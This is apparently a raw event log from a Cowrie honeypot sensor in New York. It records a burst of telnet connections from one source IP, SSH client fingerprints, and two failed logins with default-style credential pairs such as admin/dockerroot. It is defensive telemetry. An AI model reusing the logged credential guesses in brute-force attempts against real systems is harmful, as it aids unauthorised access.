{"eventid":"cowrie.session.closed","duration":31.281424522399902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:59.902383Z","src_ip":"103.216.223.28","session":"db63aa2a6c69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15759801864624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:01.502718Z","src_ip":"103.216.223.28","session":"96109407e404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":57872,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae6367796318","protocol":"telnet","message":"New connection: 103.216.223.28:57872 (159.203.135.109:23) [session: ae6367796318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:01.634708Z"}
{"eventid":"cowrie.session.closed","duration":32.4887318611145,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:01.788120Z","src_ip":"103.216.223.28","session":"bc91e7ce7477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7883620262146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:01.919047Z","src_ip":"103.216.223.28","session":"f76c0c4d794f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.50.80.99","src_port":34590,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f873adfe83","protocol":"telnet","message":"New connection: 49.50.80.99:34590 (159.203.135.109:23) [session: 26f873adfe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:02.100983Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":57918,"dst_ip":"159.203.135.109","dst_port":23,"session":"507e423eff86","protocol":"telnet","message":"New connection: 103.216.223.28:57918 (159.203.135.109:23) [session: 507e423eff86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:02.693849Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":59394,"dst_ip":"159.203.135.109","dst_port":23,"session":"29ea50245942","protocol":"telnet","message":"New connection: 103.216.223.28:59394 (159.203.135.109:23) [session: 29ea50245942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:03.968868Z"}
{"eventid":"cowrie.session.closed","duration":30.588143825531006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:04.120015Z","src_ip":"103.216.223.28","session":"84f3492a0992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":59592,"dst_ip":"159.203.135.109","dst_port":23,"session":"b43985756ad5","protocol":"telnet","message":"New connection: 103.216.223.28:59592 (159.203.135.109:23) [session: b43985756ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:04.231016Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":60982,"dst_ip":"159.203.135.109","dst_port":23,"session":"91d0687aae03","protocol":"telnet","message":"New connection: 103.216.223.28:60982 (159.203.135.109:23) [session: 91d0687aae03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:04.565625Z"}
{"eventid":"cowrie.session.closed","duration":30.339080333709717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:05.163640Z","src_ip":"103.216.223.28","session":"5a14a03859de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.233740091323853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:05.215331Z","src_ip":"103.216.223.28","session":"b8ebba0de493","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":43514,"dst_ip":"159.203.135.109","dst_port":22,"session":"f950149d3e23","protocol":"ssh","message":"New connection: 103.172.20.218:43514 (159.203.135.109:22) [session: f950149d3e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:05.761912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:05.766753Z","src_ip":"103.172.20.218","session":"f950149d3e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:05.998222Z","src_ip":"103.172.20.218","session":"f950149d3e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.841463327407837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:06.418494Z","src_ip":"103.216.223.28","session":"a88685216a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"54befd7a6a42","protocol":"telnet","message":"New connection: 103.216.223.28:35084 (159.203.135.109:23) [session: 54befd7a6a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:06.603020Z"}
{"eventid":"cowrie.login.failed","username":"dockeradmin","password":"abc123","message":"login attempt [dockeradmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:06.954459Z","src_ip":"103.172.20.218","session":"f950149d3e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.180654525756836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:07.146761Z","src_ip":"103.216.223.28","session":"d1cfc12c33d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60764,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb9ff4c1dbd5","protocol":"ssh","message":"New connection: 159.203.92.129:60764 (159.203.135.109:22) [session: cb9ff4c1dbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:07.283622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:07.289072Z","src_ip":"159.203.92.129","session":"cb9ff4c1dbd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:07.295704Z","src_ip":"159.203.92.129","session":"cb9ff4c1dbd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dockerroot","message":"login attempt [admin/dockerroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:07.308950Z","src_ip":"159.203.92.129","session":"cb9ff4c1dbd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:08.186836Z","src_ip":"103.172.20.218","session":"f950149d3e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.639801740646362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:08.192432Z","src_ip":"103.216.223.28","session":"04114ee97749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:08.319017Z","src_ip":"159.203.92.129","session":"cb9ff4c1dbd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.41835927963257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:09.128435Z","src_ip":"103.216.223.28","session":"a35bbe5db9b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8555965423584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:09.552688Z","src_ip":"103.216.223.28","session":"5d20f6f11aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75641441345215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:09.802024Z","src_ip":"103.216.223.28","session":"42fa92428f12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.921728372573853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:09.887278Z","src_ip":"103.216.223.28","session":"295d81641f37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86635971069336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:10.165407Z","src_ip":"103.216.223.28","session":"76765004517b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":39564,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bf80fea244d","protocol":"telnet","message":"New connection: 103.216.223.28:39564 (159.203.135.109:23) [session: 3bf80fea244d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:10.849625Z"}
{"eventid":"cowrie.session.closed","duration":31.135729551315308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:11.255571Z","src_ip":"103.216.223.28","session":"8cea5190473d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41282296180725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:11.388205Z","src_ip":"103.216.223.28","session":"141bf83b9571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874662399291992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:11.485760Z","src_ip":"103.216.223.28","session":"a2013027c535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.467896699905396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:12.113839Z","src_ip":"103.216.223.28","session":"4b87374e13d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":43030,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d2a1fa98717","protocol":"telnet","message":"New connection: 103.216.223.28:43030 (159.203.135.109:23) [session: 5d2a1fa98717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:13.735321Z"}
{"eventid":"cowrie.session.closed","duration":31.54528307914734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:14.434956Z","src_ip":"103.216.223.28","session":"7675e637ef3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":44090,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf6395c983e","protocol":"telnet","message":"New connection: 103.216.223.28:44090 (159.203.135.109:23) [session: ccf6395c983e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:14.617378Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":44466,"dst_ip":"159.203.135.109","dst_port":23,"session":"0483065f2bf5","protocol":"telnet","message":"New connection: 103.216.223.28:44466 (159.203.135.109:23) [session: 0483065f2bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:14.942458Z"}
{"eventid":"cowrie.session.closed","duration":30.6983163356781,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:15.373183Z","src_ip":"103.216.223.28","session":"8efe9e77a2f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":45488,"dst_ip":"159.203.135.109","dst_port":23,"session":"3719f3f725f6","protocol":"telnet","message":"New connection: 103.216.223.28:45488 (159.203.135.109:23) [session: 3719f3f725f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:15.655922Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.0.132","src_port":36986,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c264f00f181","protocol":"telnet","message":"New connection: 162.240.0.132:36986 (159.203.135.109:23) [session: 4c264f00f181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:16.311146Z"}
{"eventid":"cowrie.session.closed","duration":30.515937328338623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.122851Z","src_ip":"103.216.223.28","session":"3b6dc6006122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546565055847168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.127485Z","src_ip":"103.216.223.28","session":"9f756a4edd7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900100708007812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.223579Z","src_ip":"103.216.223.28","session":"9b81a2f80c21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041789770126343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.269105Z","src_ip":"103.216.223.28","session":"c78614bc0c04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76991868019104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.346418Z","src_ip":"162.240.0.132","session":"b79938f2967b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":47560,"dst_ip":"159.203.135.109","dst_port":23,"session":"3371462259ed","protocol":"telnet","message":"New connection: 103.216.223.28:47560 (159.203.135.109:23) [session: 3371462259ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.582241Z"}
{"eventid":"cowrie.session.closed","duration":31.651556730270386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.669708Z","src_ip":"103.216.223.28","session":"3469d54ccd74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":46744,"dst_ip":"159.203.135.109","dst_port":23,"session":"3462e8b274ed","protocol":"telnet","message":"New connection: 103.216.223.28:46744 (159.203.135.109:23) [session: 3462e8b274ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.719253Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":47762,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9dd57304eff","protocol":"telnet","message":"New connection: 103.216.223.28:47762 (159.203.135.109:23) [session: c9dd57304eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.739176Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":47952,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e74688273d","protocol":"telnet","message":"New connection: 103.216.223.28:47952 (159.203.135.109:23) [session: 65e74688273d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:17.958469Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":48308,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c670e65abc2","protocol":"telnet","message":"New connection: 103.216.223.28:48308 (159.203.135.109:23) [session: 8c670e65abc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:18.328061Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":48816,"dst_ip":"159.203.135.109","dst_port":23,"session":"7531a6739f12","protocol":"telnet","message":"New connection: 103.216.223.28:48816 (159.203.135.109:23) [session: 7531a6739f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:18.637649Z"}
{"eventid":"cowrie.session.closed","duration":31.968524932861328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:18.859888Z","src_ip":"103.216.223.28","session":"43ec3cd47f97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":49210,"dst_ip":"159.203.135.109","dst_port":23,"session":"1507255092cf","protocol":"telnet","message":"New connection: 103.216.223.28:49210 (159.203.135.109:23) [session: 1507255092cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:18.913156Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":47964,"dst_ip":"159.203.135.109","dst_port":23,"session":"30fa02c22531","protocol":"telnet","message":"New connection: 103.216.223.28:47964 (159.203.135.109:23) [session: 30fa02c22531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:18.986110Z"}
{"eventid":"cowrie.session.closed","duration":30.677701950073242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:19.123151Z","src_ip":"103.216.223.28","session":"bb8370cf8a8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44865083694458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:19.186678Z","src_ip":"103.216.223.28","session":"91188c3eb159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.360585689544678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:19.377620Z","src_ip":"103.216.223.28","session":"d4a38c0da688","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88398814201355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:19.424860Z","src_ip":"103.216.223.28","session":"e681901c277d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":49764,"dst_ip":"159.203.135.109","dst_port":23,"session":"08faaded291e","protocol":"telnet","message":"New connection: 103.216.223.28:49764 (159.203.135.109:23) [session: 08faaded291e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:19.524455Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":48810,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2ccdc76a5f4","protocol":"telnet","message":"New connection: 133.130.78.211:48810 (159.203.135.109:23) [session: c2ccdc76a5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:19.595038Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":39336,"dst_ip":"159.203.135.109","dst_port":23,"session":"de0ec088a813","protocol":"telnet","message":"New connection: 180.210.206.54:39336 (159.203.135.109:23) [session: de0ec088a813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:19.781452Z"}
{"eventid":"cowrie.session.closed","duration":31.15496587753296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:20.265189Z","src_ip":"103.216.223.28","session":"36ea9f8c1e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706851482391357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:20.435441Z","src_ip":"103.216.223.28","session":"a205f107ca7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":51674,"dst_ip":"159.203.135.109","dst_port":23,"session":"48d6d5d71c7c","protocol":"telnet","message":"New connection: 103.216.223.28:51674 (159.203.135.109:23) [session: 48d6d5d71c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:20.864130Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":51706,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67bd24c54ba","protocol":"telnet","message":"New connection: 103.216.223.28:51706 (159.203.135.109:23) [session: c67bd24c54ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:20.885116Z"}
{"eventid":"cowrie.session.closed","duration":31.132810831069946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:21.220932Z","src_ip":"103.216.223.28","session":"c488a2039252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.456045150756836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:53:21.379592Z","src_ip":"103.216.223.28","session":"fbe70c5d06a8","protocol":"telnet"}
